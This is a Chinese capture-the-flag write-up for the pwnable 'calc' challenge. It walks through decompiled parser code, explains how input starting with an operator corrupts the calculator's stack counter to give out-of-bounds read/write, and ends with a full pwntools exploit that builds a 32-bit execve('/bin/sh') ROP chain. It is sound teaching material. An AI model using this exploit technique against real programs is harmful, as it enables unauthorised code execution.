Niyah

pwnable calc题解

这题真有意思

# pwnable calc 题解

对本程序实现了一个简单的计算器

对本程序的逆向首先需要了解编译原理中的算符优先文法,在下面的函数中程序用了两个数组分别当成数栈 nums 和字符栈 signs,其中数栈有点特别,数栈的栈底即 nums [0] 存放了栈的长度即数的个数,在进行输入分析时会使用这两个栈

parse_expr 函数

int __cdecl parse_expr(char *user_input, int *nums)
{
  int idx; // eax
  char *pointer; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int index; // [esp+28h] [ebp-80h]
  int offset; // [esp+2Ch] [ebp-7Ch]
  char *num_chunk; // [esp+30h] [ebp-78h]
  int num; // [esp+34h] [ebp-74h]
  char signs[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  // 和编译原理的算符优先文法类似
  // 使用两个数组分别存放符号和数字,当遇到优先级高的符号则执行
  canary = __readgsdword(0x14u);
  pointer = user_input;
  index = 0;
  bzero(signs, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( user_input[i] - (unsigned int)'0' > 9 )
    {
      // 当前为符号则进行下面操作,注意这个判断在结尾即字符等于\x00时也会成立
      offset = &user_input[i] - pointer;
      num_chunk = (char *)malloc(offset + 1);
      memcpy(num_chunk, pointer, offset);
      num_chunk[offset] = 0;
      if ( !strcmp(num_chunk, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
        // 只要数字是0就直接寄,无论加减乘除
      }
      num = atoi(num_chunk);
      if ( num > 0 )
      {
        idx = (*nums)++;
        nums[idx + 1] = num;
        // 这里可以看出,这个nums[0]存放的是数字个数,后面可以发现idx是可控的
      }
      if ( user_input[i] && user_input[i + 1] - (unsigned int)'0' > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        // 连着两个符号也寄
        return 0;
      }
      pointer = &user_input[i + 1];
      if ( signs[index] )
      {
        // 符号数组有东西执行操作,优先级判断,当前符号比算符栈顶优先级小时,从算符栈拿一个符号,从数栈拿两个数进行计算
        switch ( user_input[i] )
        {
          case '%':
          case '*':
          case '/':
            // #+      *
            if ( signs[index] != '+' && signs[index] != '-' )
              goto LABEL_14;
            // 如果符号栈顶为+-,则把当前符号入栈
            signs[++index] = user_input[i];
            break;
          case '+':
          case '-':
LABEL_14:
            // 进行计算,进行计算的两个数为nums末尾的两个数,计算算符为符号栈顶,之后将结果放进前一个数的位置,和栈结构类似,其实就是pop pop 计算 push
            eval(nums, signs[index]);
            // 计算之后将当前符号入算符栈
            signs[index] = user_input[i];
            break;
          default:
            // 到用户输入末尾,直接进行计算
            eval(nums, signs[index--]);
            break;
        }
      }
      else
      {
        signs[index] = user_input[i];
      }
      if ( !user_input[i] )
        break;
      // 如果此时到达用户输入结尾则退出循环
      // 但是这个判断放在了最后,很奇怪
    }
  }
  while ( index >= 0 )
    eval(nums, signs[index--]);
  return 1;
}

eval 函数

_DWORD *__cdecl eval(_DWORD *nums, char sign)
{
  _DWORD *result; // eax

  if ( sign == '+' )
  {
    nums[*nums - 1] += nums[*nums];
  }
  else if ( sign > '+' )
  {
    if ( sign == '-' )
    {
      nums[*nums - 1] -= nums[*nums];
    }
    else if ( sign == '/' )
    {
      nums[*nums - 1] /= (int)nums[*nums];
    }
  }
  else if ( sign == '*' )
  {
    nums[*nums - 1] *= nums[*nums];
  }
  result = nums;
  --*nums;
  return result;
}

上面的函数存在以下问题,当用户输入的数据是以符号开头的,则数栈中只有两个数:第一个数 nums [0] 为该数组的长度,第二个数为操作数,那么执行 eval 时则会对 nums [0] 和 nums [1] 进行操作,而 nums [0] 则存放了数栈的大小,而程序由于判断有问题,即使输入不合法也会执行一个 eval,那么就实现了对 nums [idx] 中 idx 的控制,从而可以实现对 nums 的越界读写

如用户输入 +120,此时

nums[0] = 1

nums[1] = 120

执行 eval 后 nums [0] += nums [1] , 此时

nums[0] = 121

数组长度反而变成 121 了,那么在下次如果是输出结果则会输出 nums [121],如果继续读入数时会在 nums [122] 写入这个数,之后执行 eval 时会将结果放进 nums [121] 从而实现数组的越界读写

因为本程序为 32 位静态链接,所有 gadget 可以在程序中找到,故直接在返回地址写上 syscall 的 rop 调用链

exp

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './calc'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 1
if DEBUG:
    libc = elf.libc
    p = process(binary)

else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12     : ras(int( p.recv(x) , 10))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(payload):
    sla('\n' , payload)

# one_gad = one_gadget(libc.path)

def attack():
    
    # execve 只能是 /bin/sh\x00

    syscall = elf.search(asm('int 0x80')).next()
    pop_eax_ret = elf.search(asm('pop eax;ret')).next()
    pop_edx_ecx_ebx_ret = elf.search(asm('pop edx ; pop ecx ; pop ebx ; ret')).next()

    ru('=== Welcome to SECPROG calculator ===')
    sl('+360')
    ru('-')
    ebp = 0xffffffff - rint(7) + 1
    stack_addr = ebp 
    
    rop_chain = [
        pop_edx_ecx_ebx_ret,
        0,
        0,
        stack_addr,
        pop_eax_ret,
        0xb,
        syscall
    ]

    lg('pop_edx_ecx_ebx_ret',pop_edx_ecx_ebx_ret)

    cmd( '+361+' + str(0x26d37) )

    cmd( '+362-' + str(0x26d37) )
    cmd( '+363-' + str(0x26d37) )

    cmd( '+364+' + str(stack_addr/2 - 0x26d37 ) )
    cmd( '+364+' + str(stack_addr/2 ) )

    cmd( '+365-' + str(stack_addr/2 ) )
    cmd( '+365+' + str(pop_eax_ret) )

    cmd( '+366-' + str(pop_eax_ret&0xfffffff0) )

    cmd( '+367-' + str(pop_eax_ret&0xfffffff0) )
    cmd( '+367+' + str(syscall) )

    cmd( '+368-' + str(syscall) )
    cmd( '+368+' + str(0x6e69622f) )

    cmd( '+369-' + str(0x6e69622f) )
    cmd( '+369+' + str(0x68732f) )

    cmd('\n')
    # dbg()
    
    # p.success(getShell())
    p.interactive()

attack()

'''
@File    :   calc.py
@Time    :   2022/02/06 23:14:52
@Author  :   Niyah 
'''

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。